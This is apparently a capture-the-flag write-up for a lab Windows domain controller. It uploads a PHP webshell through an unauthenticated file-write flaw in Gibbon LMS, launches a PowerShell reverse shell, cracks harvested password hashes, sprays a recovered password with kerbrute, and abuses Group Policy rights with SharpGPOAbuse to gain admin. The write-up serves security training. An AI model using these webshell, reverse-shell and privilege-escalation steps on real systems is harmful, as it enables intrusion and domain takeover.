RECON
Port Scan
$ rustscan -a $target_ip --ulimit 1000 -r 1-65535 -- -A -sC -Pn
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-03-16 08:48:38Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack .NET Message Framing
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49667/tcp open msrpc syn-ack Microsoft Windows RPC
49670/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
52874/tcp open msrpc syn-ack Microsoft Windows RPC
52886/tcp open msrpc syn-ack Microsoft Windows RPC
52912/tcp open msrpc syn-ack Microsoft Windows RPC
Service Info: Hosts: localhost, FRIZZDC; OS: Windows; CPE: cpe:/o:microsoft:windows
From the Nmap scan, we can deduce that this Windows machine is an Active Directory (AD) Domain Controller, given the presence of Kerberos (port 88), LDAP (port 3268), and SMB-related services (port 139, 135, 5985).
The Domain Name (frizz.htb) suggests internal domain services are in place, and the web service (Apache 2.4.58 with PHP 8.2.12) at port 80 indicates potential web-based attack vectors. The scan shows "http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/", meaning the web app forces redirection to this subdomain - so add these domains to /etc/hosts
with machine IP for CTF scenario.
Additionally, seeing port 22 (SSH) open on a Windows machine is quite an unusual setup. By default, Windows does not include OpenSSH, but administrators can install it manually using third-party SSH server like Cygwin.
Port 80
Gibbon LMS
The web application serves an educational purpose, a fact that becomes immediately apparent upon knowing the machine’s name:

The Stuff Login button redirects to http://frizzdc.frizz.htb/Gibbon-LMS/. Gibbon LMS is an open-source Learning Management System (LMS) designed for schools and educational institutions. It provides features like student management, course scheduling, lesson planning, and assessment tools:

The application runs on v25.0.00, an outdated release compared to the more recent v29, hinting at the potential presence of publicly known vulnerabilities (CVEs).
Navigating through various user input fields, we scrutinize the request URLs, which unveil directory structures and parameters within /Gibbon-LMS
. A notable example:
http://frizzdc.frizz.htb/Gibbon-LMS/index.php?q=passwordReset.php&return=error0
By referencing its open-source GitHub repository (GibbonEdu/core), we can enumerate additional PHP endpoints. A direct request to http://frizzdc.frizz.htb/Gibbon-LMS/publicRegistration.php exposes an error message:

This leak confirms the server operates on Windows, running XAMPP, with its web root set to: C:\xampp\htdocs\Gibbon-LMS\
. Further probing suggests a Local File Inclusion (LFI) vulnerability, potentially enabling unauthorized file retrieval:

WEB
CVE-2023-45878 | Arbitrary File Write
PoC
Since the running Gibbon LMS v25 is outdated, we can search for open CVEs on the Internet. CVE-2023-45878 reveals that Gibbon version 25.0.1 and before allows Arbitrary File Write because rubrics_visualise_saveAjax.php
(source code) does not require authentication.
We can verify it on our target web application:

The endpoint accepts the img
, path
, and gibbonPersonID
parameters. The img
parameter is expected to be a base64 encoded image. If the path
parameter is set, the defined path is used as the destination folder, concatenated with the absolute path of the installation directory. The content of the img
parameter is base64 decoded and then written to the defined file path - this will eventually lead to unauthenticated RCE if we manage to write a web shell to the target.
We can take a look at rubrics_visualise_saveAjax.php
line 22:
$img = $_POST['img'] ?? null;
$imgPath = $_POST['path'] ?? null;
$gibbonPersonID = !empty($_POST['gibbonPersonID']) ? str_pad($_POST['gibbonPersonID'], 10, '0', STR_PAD_LEFT) : null;
$absolutePath = $gibbon->session->get('absolutePath');
img
is expected to contain Base64-encoded image data, while path
defines the destination file path. However, no validation or sanitization is applied to path
, allowing arbitrary file uploads, when gibbonPersonID
is not empty.
Then, the uploaded file will be decoded as illustrated at line 32:
// Decode raw image data
list($type, $img) = explode(';', $img);
list(, $img) = explode(',', $img);
$img = base64_decode($img);
The Base64-decoded content is subsequently written directly to a file as revealed at line 49:
// Write image data
$fp = fopen($absolutePath.'/'.$imgPath, 'w');
fwrite($fp, $img);
fclose($fp);
Since $absolutePath
is controlled via the session and path
is user-controlled, this is easily exploitable.
Exploit
To establish initial foothold, we craft a Base64-encoded PHP webshell and leverage the vulnerable rubrics_visualise_saveAjax.php
endpoint to upload it:
curl -X POST "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php" \
--data-urlencode "img=image/png;axura,$(echo -n '<?php system($_REQUEST["x"]); ?>' | base64 -w 0)" \
--data-urlencode "path=shell.php" \
--data-urlencode "gibbonPersonID=0000001337"
After uploading, to confirm execution, we trigger a whoami command:
curl "http://frizzdc.frizz.htb/Gibbon-LMS/shell.php?x=whoami"

The response reveals we are operating under frizz\w.webservice
, a domain account on the Windows server. To escalate further, we deploy a PowerShell reverse shell, but must act fast—there’s an automated cleanup process that removes the webshell within a few minutes:
$ export rsh=$(echo "powershell -e JAB...KQA=" | jq -sRr @uri)
$ rlwrap -lnvp 4444
$ curl -X POST "http://frizzdc.frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php" \
--data-urlencode "img=image/png;axura,$(echo -n '<?php system($_REQUEST["x"]); ?>' | base64 -w 0)" \
--data-urlencode "path=shell.php" \
--data-urlencode "gibbonPersonID=0000001337"
$ curl "http://frizzdc.frizz.htb/Gibbon-LMS/shell.php?x=${rsh}"
Now, we have an interactive reverse shell as frizz\w.webservice
:

USER
MySQL
After compromising a Web account, the first thing we need to do is always enumerating the configuration files config.php
under web root directory:
<?php
[...]
/**
* Sets the database connection information.
* You can supply an optional $databasePort if your server requires one.
*/
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';
/**
* Sets a globally unique id, to allow multiple installs on a single server.
*/
$guid = '7y59n5xz-uym-ei9p-7mmq-83vifmtyey2';
/**
* Sets system-wide caching factor, used to balance performance and freshness.
* Value represents number of page loads between cache refresh.
* Must be positive integer. 1 means no caching.
*/
$caching = 10;
This includes MySQL credentials MrGibbonsDB / MisterGibbs!Parrot!?1
for Gibbon LMS. We can verify if MySQL service running on port 3306:
PS C:\xampp\htdocs\Gibbon-LMS> netstat -ano
Active Connections
Proto Local Address Foreign Address State PID
TCP 0.0.0.0:22 0.0.0.0:0 LISTENING 1072
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 1724
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING 648
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 948
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING 648
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING 648
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING 948
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING 648
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING 648
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING 648
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 3796
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING 1904
[...]
Since we identified XAMPP running on the target machine, where by default the MySQL client binary is located at:
C:\xampp\mysql\bin\mysql.exe
We can try to connect to the MySQL database using the credentials we discovered:
C:\xampp\mysql\bin\mysql.exe -h localhost -u MrGibbonsDB -"pMisterGibbs!Parrot!?1"
This setup does not grant us an interactive MySQL shell due to our restricted reverse shell environment. Instead, we leverage mysql.exe
with the -Bse
flag to execute queries in Batch mode (B
), Silent mode (s
), and Execute mode (e
). This strips unnecessary output and enables streamlined data extraction:
C:\xampp\mysql\bin\mysql.exe -h localhost -u MrGibbonsDB "-pMisterGibbs!Parrot!?1" -Bse "SHOW DATABASES;"

With database access confirmed, we enumerate further:
C:\xampp\mysql\bin\mysql.exe -h localhost -u MrGibbonsDB "-pMisterGibbs!Parrot!?1" -Bse "USE gibbon; SHOW TABLES; SELECT * FROM gibbonPerson;"
We leak user records from table gibbonPerson
:

Gibbon Hash
The extracted data:
Field | Value | Description |
---|---|---|
0000000001 | Ms. | User ID and title |
Frizzle Fiona | Fiona Frizzle | Full Name |
f.frizzle | Username | |
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 | Hashed Password | |
/aACFhikmNopqrRTVz2489 | Password Salt | |
Full | Role/Permissions | |
[email protected] | Email address | |
::1 | Last login from localhost (::1) |
"Gibbon uses SHA1 with a salt for all new passwords" according to its official forum. But apparently we have something other than SHA1:
$ hashcat --identify '067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03'
The following 8 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+=========================
1400 | SHA2-256 | Raw Hash
17400 | SHA3-256 | Raw Hash
11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian | Raw Hash
6900 | GOST R 34.11-94 | Raw Hash
17800 | Keccak-256 | Raw Hash
1470 | sha256(utf16le($pass)) | Raw Hash
20800 | sha256(md5($pass)) | Raw Hash salted and/or iterated
21400 | sha256(sha256_bin($pass)) | Raw Hash salted and/or iterated
The hash has 64 characters as SHA-256 (Not SHA1, which is 40 chars). We can look into the Gibbon LMS source code again for the UserGateway.php
at line 87:
public function selectLoginDetailsByUsername($username)
{
$data = ['username' => $username];
$sql = "SELECT
[...]
gibbonPerson.passwordStrong,
gibbonPerson.passwordStrongSalt,
[...]
FROM gibbonPerson
LEFT JOIN gibbonRole ON (gibbonPerson.gibbonRoleIDPrimary=gibbonRole.gibbonRoleID)
WHERE (
(username=:username OR (LOCATE('@', :username)>0 AND email=:username))
AND status='Full'
)";
return $this->db()->select($sql, $data);
}
We see that passwordStrong
contains the hashed password, and passwordStrongSalt
contains the salt value used for hashing, which matches our finding from the database. Then we can look for a function that hashes passwords (e.g., hashPassword()
, verifyPassword()
, or checkPassword()
). For example, searching in Github repo for preferencesPasswordProcess.php
at line 76:
if (hash('sha256', $user['passwordStrongSalt'].$password) != $user['passwordStrong']) {
And during password updates at line 81:
$salt = getSalt();
$passwordStrong = hash('sha256', $salt.$passwordNew);
These codes reveal that the password hashing method used - SHA-256 with a salt. The stored password is:
SHA256(salt + password)
Now that we know the format, we can crack it using Hashcat.
Save the found password hash and salt in hash.txt
:
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489
Crack it with mode 1420
:
hashcat -m 1420 -a 0 hash.txt rockyou.txt --force
Then we have a password string for user [email protected]
:
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489:Jenni_Luvs_Magic23
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1420 (sha256($salt.$pass))
Hash.Target......: 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff...Vz2489
Remote Access
Winrm
Verify the credentials f.frizzle / Jenni_Luvs_Magic23
using Netexec:
nxc winrm $target_ip -u 'f.frizzle' -p 'Jenni_Luvs_Magic23' -d frizz.htb

The error message:
"Unpacked data doesn't match constant value 'NTLMSSP\x00'"
suggests that the target either does not support NTLM authentication over WinRM or that the NTLM challenge response is failing due to incorrect domain settings.
Therefore, neither it works over SMB nor LDAP, by returning STATUS_NOT_SUPPORTED
:

We have introduced a same condition and solution in the Vintage writeup. The server requires Kerberos Authentication, which is a modern and usual secure setup. Therefore, we need to ensure Kerberos configuration file (krb5.conf
) is set up correctly, which is designed to ensure that authentication works within an Active Directory (AD) environment where Kerberos is the primary authentication protocol. Edit /etc.krb5.conf
on our attack machine:
[libdefaults]
default_realm = FRIZZ.HTB
dns_lookup_kdc = true
rdns = false
[realms]
FRIZZ.HTB = {
kdc = frizz.htb
admin_server = frizz.htb
}
[domain_realm]
.frizz.htb = FRIZZ.HTB
frizz.htb = FRIZZ.HTB
Restart the Kerberos service after editing:
sudo systemctl restart krb5-kdc
Authenticate with the password to require a Kerberos ticket:
$ kinit [email protected]
Password for [email protected]:
# Jenni_Luvs_Magic23
$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: [email protected]
Valid starting Expires Service principal
03/16/2025 07:09:22 03/16/2025 17:09:22 krbtgt/[email protected]
renew until 03/17/2025 07:07:25
Now we can use Evil-winrm to try logging on with the generated TGT by specifying FQDN (aka frizzdc.frizz.htb
) and Kerberos realm (FRIZZ.HTB
):
evil-winrm -i frizzdc.frizz.htb -r frizz.htb
The Target must be an FQDN for the Domain Controller, which is required for Kerberos authentication. Because AD issues service tickets to FQDNs, not just domain names. Kerberos needs to match the hostname to a Service Principal Name (SPN). Thus,
frizz.htb
is a domain but not the actual host running WinRM, Kerberos will reject the request.
After successfully logon, we can retrieve the user flag here:

SSH
When testing Evil-winrm with the credentials and Kerberos ticket, we ran into an error:
Error: An error of type GSSAPI::GssApiError happened, message is gss_init_sec_context did not return GSS_S_COMPLETE: UnspecifiedGSS failure. Minor code may provide more information
This indicates a Kerberos (GSSAPI) authentication failure. For GSSAPI:
- GSSAPI (Generic Security Services Application Program Interface) is a security framework used for Kerberos authentication.
- Evil-WinRM, SSH, and SMB all use GSSAPI for Kerberos authentication.
Since we noticed SSH service is open at port 22 for the Windows server, we can try with the generated TGT for SSH remote access:
ssh -o PreferredAuthentications=gssapi-with-mic \
-o GSSAPIAuthentication=yes \
[email protected]
It works as an alternative:

ROOT
Enum
As the W.webservice
user, we can dump the whole database:
mkdir c:\temp
C:\xampp\mysql\bin\mysqldump.exe -h localhost -u MrGibbonsDB -pMisterGibbs!Parrot!?1 gibbon > C:\temp\gibbon.sql
We discover some interesting conversations from gibbonmessanger
table:

"Thank you to all that helped us evaluate the desktop management tool, WAPT. We will compare these results to current methods before making recommendations to the school board."
"the recent cyberattacks by students were linked to the legacy bus mileage submission application. this has been shut down and deleted. until further notice, please submit using pen and paper."
"!!!list of banned passwords!!! followup to the recent student hacking activity, the following passwords are now banned: love, sex, god, 12345, password, letmein, guest, god, trustno1, qwerty, rosebud, love, starwars, admin, letmein123, 123456, password1, bond007, batman, spock, chewie, iloveyou, superman, dragon, open sesame, matrix, swordfish, rosebud, godzilla, iloveyou2, welcome, money, 1234, abcd1234, asdfgh, princess, snoopy, cookie, hello, admin123, football, iloveyou3, password123, baseball, buster, michael, ncc1701, letmeinpls, banana, whiskey, pepper, computer, swordfish1."
The legacy bus mileage submission application was linked to student cyberattacks. The system has been shut down and deleted, which hints that we could look for remnants of it.
For a quick takedown of the target victim, we can use whatever C2 preferred to manage our sessions:

Run some auto enumeration jobs:

We found some remnants in the recycle bin, as implied from the messenger, and download them for later exploration:

Without using the overkilled C2, we can also download them using COM Objects (Shell.Application
) to interact with the Recycle Bin, as the $Recycle.Bin
directory is a protected system folder and behaves differently from normal directories:
# Create a COM Object to interact with Windows Shell
$sh = New-Object -ComObject Shell.Application
# Access the Recycle Bin (0xA is the special folder ID for Recycle Bin)
$rb = $sh.Namespace(0xA)
# List all items in the Recycle Bin (Shows Name & Path)
$rb.items() | Select-Object Name, Path
# Copy for download
cp "C:\`$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\`$RE2XMEG.7z" ".\wapt-backup-sunday.7z"

We can use SharpHound
to collect domain information for BloodHound:

Nothing interesting though from the current owned user, except we know v.frizzle
is Domain Admin and belongs to CLASS_FRIZZ group:

No AV detected, so we can freely run WinPEAS to further collect information:
# Valuable users
Computer Name : FRIZZDC
User Name : f.frizzle
User Id : 1103
Is Enabled : True
User Type : User
Comment : Wizard in Training
Last Logon : 3/16/2025 9:04:20 AM
Logons Count : 1894
Password Last Set : 10/29/2024 7:27:03 AM
Computer Name : FRIZZDC
User Name : v.frizzle
User Id : 1115
Is Enabled : True
User Type : Administrator
Comment : The Wizard
Last Logon : 3/16/2025 9:04:20 AM
Logons Count : 1056
Password Last Set : 10/29/2024 7:27:04 AM
Computer Name : FRIZZDC
User Name : w.Webservice
User Id : 1120
Is Enabled : True
User Type : User
Comment : Service for the website
Last Logon : 3/16/2025 1:35:54 AM
Logons Count : 70
Password Last Set : 10/29/2024 7:27:04 AM
Computer Name : FRIZZDC
User Name : M.SchoolBus
User Id : 1106
Is Enabled : True
User Type : User
Comment : Desktop Administrator
Last Logon : 2/25/2025 2:02:08 PM
Logons Count : 852
Password Last Set : 10/29/2024 7:27:03 AM
Except for v.frizzle
who is Administrator, user M.SchoolBus
turns out to be a "Desktop Administrator".
Password Spray | WAPT
Take a look into the downloaded 7z files:
$ 7z x wapt-backup-sunday.7z
$ tree wapt -L1
wapt
├── auth_module_ad.py
├── cache
├── common.py
├── conf
├── conf.d
├── COPYING.txt
├── db
├── DLLs
├── keyfinder.py
├── keys
├── languages
├── lib
├── licencing.py
├── log
├── private
├── __pycache__
├── revision.txt
├── Scripts
├── setupdevhelpers.py
├── setuphelpers_linux.py
├── setuphelpers_macos.py
├── setuphelpers.py
├── setuphelpers_unix.py
├── setuphelpers_windows.py
├── ssl
├── templates
├── trusted_external_certs
├── unins000.msg
├── version-full
├── waptbinaries.sha256
├── waptconsole.exe.manifest
├── waptcrypto.py
├── wapt-enterprise.ico
├── wapt-get.exe.manifest
├── wapt-get.ini
├── wapt-get.ini.tmpl
├── wapt-get.py
├── waptguihelper.pyd
├── waptlicences.pyd
├── waptpackage.py
├── wapt.psproj
├── wapt-scanpackages.py
├── wapt-signpackages.py
├── wapttftpserver
├── waptutils.py
└── waptwua
17 directories, 30 files
WAPT (Windows Apt) is an open-source software deployment and configuration management tool designed for Windows systems. It is often compared to SCCM (Microsoft System Center Configuration Manager) but is more lightweight and Python-based.
The extracted WAPT backup archive (wapt-backup-sunday.7z
) contains configuration files (*.ini
), that we can take a look at them:
$ cat $(find wapt/ -type f -name "*.ini")
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt
[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log
[global]
use_hostpackages=1
use_kerberos=0
[settings]
; domain=<domain>
; machine=<machine>
; user=<user>
; password=<password>
$ echo -n 'IXN1QmNpZ0BNZWhUZWQhUgo=' | base64 -d
!suBcig@MehTed!R
We discover a new password string !suBcig@MehTed!R
. Password Spray on it with privileged users we found earlier (there're quite some users on the system, but most of them are identified as role student
which we don't need at this stage):
[email protected]
[email protected]
[email protected]
Run kerbrute
:
kerbrute passwordspray -d 'frizz.htb' --dc 'frizzdc.frizz.htb' users.txt '!suBcig@MehTed!R' -v

At this stage, we've already confirmed a valid set of credentials as an oracle test, but our Kerberos authentication is failing due to a KRB_AP_ERR_SKEW
error—Clock skew too great. This indicates a time desynchronization between our attacking machine and the target's Kerberos Key Distribution Center (KDC).
We have introduced how to fix this in the Certified writeup using faketime
. Here I adjust the time frame using ntpdate
with a different format, since we are on a new attack machine (Arch Linux):
faketime "$(ntpdate -q $target_ip | grep -oP '\d{2} \w{3} \d{2}:\d{2}:\d{2}' | awk '{printf "2025-%02d-%02d %s\n", (index("JanFebMarAprMayJunJulAugSepOctNovDec",$2)+2)/3, $1, $3}')" \
kerbrute passwordspray -d 'frizz.htb' --dc 'frizzdc.frizz.htb' users.txt '!suBcig@MehTed!R' -v
Request a Kerberos ticket as user M.SchoolBus
:
$ kinit [email protected]
Password for [email protected]:
# !suBcig@MehTed!R
$ klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: [email protected]
Valid starting Expires Service principal
03/16/2025 11:58:05 03/16/2025 21:58:05 krbtgt/[email protected]
renew until 03/17/2025 11:57:53
Now we can login via Winrm or SSH like before:
evil-winrm -i frizzdc.frizz.htb -r frizz.htb
or
ssh -o PreferredAuthentications=gssapi-with-mic \
-o GSSAPIAuthentication=yes \
[email protected]
Both work fine:

GPO Abuse
Desktop Administrator
As we knew M.SchoolBus
user is the "Desktop Administrator", we can take a look on its privilege:
PS C:\Users\M.SchoolBus\Documents> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
============================================ ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
frizz\Desktop Admins Group S-1-5-21-2386970044-1145388522-2932701813-1121 Mandatory group, Enabled by default, Enabled group
frizz\Group Policy Creator Owners Group S-1-5-21-2386970044-1145388522-2932701813-520 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
frizz\Denied RODC Password Replication Group Alias S-1-5-21-2386970044-1145388522-2932701813-572 Mandatory group, Enabled by default, Enabled group, Local Group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
(But he's not Administrator:)
PS C:\Users\M.SchoolBus\Documents> net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
v.frizzle
The command completed successfully.
Though we can notice that he belongs to frizz\Group Policy Creator Owners
, which implies GPO Abuse:
PS C:\Users\M.SchoolBus\Documents> Get-GPO -All
DisplayName : Default Domain Policy
DomainName : frizz.htb
Owner : frizz\Domain Admins
Id : 31b2f340-016d-11d2-945f-00c04fb984f9
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 7:25:44 AM
UserVersion : AD Version: 0, SysVol Version: 0
ComputerVersion : AD Version: 2, SysVol Version: 2
WmiFilter :
DisplayName : Default Domain Controllers Policy
DomainName : frizz.htb
Owner : frizz\Domain Admins
Id : 6ac1786c-016f-11d2-945f-00c04fb984f9
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 10/29/2024 7:19:24 AM
ModificationTime : 10/29/2024 7:19:24 AM
UserVersion : AD Version: 0, SysVol Version: 0
ComputerVersion : AD Version: 1, SysVol Version: 1
WmiFilter :
Remember we found a path to the Domain Admin v.frizzle
via BloodHound:

DA v.frizzle
belongs to group CLASS_FRIZZ
, which can be abused by us as Group Policy Creator Owners. And we can link the GPOs to the Domain Controller:

Group Policy Creator Owners
The information above should be enough for further exploit. But we can always run BloodHound again after compromising a privileged user, M.SchoolBus
. We discover that this is an account for managing students in the domain:

However, we don't care about student accounts. M.SchoolBus
is also member of group Group Policy Creator Owners. According to the Microsoft documentation, this group is authorized to create, edit, and delete Group Policy Objects in the domain. By default, the only member of the group is Administrator.

Since we can manipulate GPOs as this superuser role, we can manage to compromise the domain in different ways:

CLASS_FRIZZ
group could be designed to manage "Class" including students and teachers, which does not implement security measures such as separating the super-user (DA) account v.frizzle
with others:

Now as Group Policy Creator Owners, we can either edit an existed group or add malicious group to manipulate group policies.

SharpGPOAbuse
As a straight forward exploit, we can first easily create a group policy by ourselves as the superuser role Group Policy Creator Onwers:
# Create a new malicious GPO:
$gpo = New-GPO -Name "EvilPolicy"
# Link the GPO to the Domain Controllers OU
New-GPLink -Name "EvilPolicy" -Target "OU=Domain Controllers,DC=frizz,DC=htb"
# Link the GPO to the OU CLASS_FRIZZ
New-GPLink -Name "EvilPolicy" -Target "OU=CLASS_FRIZZ,DC=frizz,DC=htb"
As a result, we can see now:
PS C:\Users\M.SchoolBus\Documents> Get-GPO -All
[...]
DisplayName : EvilPolicy
DomainName : frizz.htb
Owner : frizz\M.SchoolBus
Id : 74077ff1-da53-4ab2-b1d9-23d53ebb43b7
GpoStatus : AllSettingsEnabled
Description :
CreationTime : 3/16/2025 12:18:57 PM
ModificationTime : 3/16/2025 12:18:56 PM
UserVersion : AD Version: 0, SysVol Version: 0
ComputerVersion : AD Version: 0, SysVol Version: 0
WmiFilter :
$ PS C:\users\m.schoolbus\documents> Get-GPInheritance -Target "OU=CLASS_FRIZZ,DC=frizz,DC=htb"
Name : class_frizz
ContainerType : OU
Path : ou=class_frizz,dc=frizz,dc=htb
GpoInheritanceBlocked : No
GpoLinks : {EvilPolicy}
InheritedGpoLinks : {EvilPolicy, Default Domain Policy}
$ PS C:\users\m.schoolbus\documents> (Get-GPO -Name "EvilPolicy").GpoStatus
AllSettingsEnabled
Then we are ready to add any users to the localAdmin
group using SharpGPOAbuse:sers to the localAdmin
group:
# Add local admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "M.SchoolBus" --GPOName "EvilPolicy"
# Update group policy
gpupdate /force
# Verify
net localgroup Administrators

Start a new session, and Rooted:

Comments | NOTHING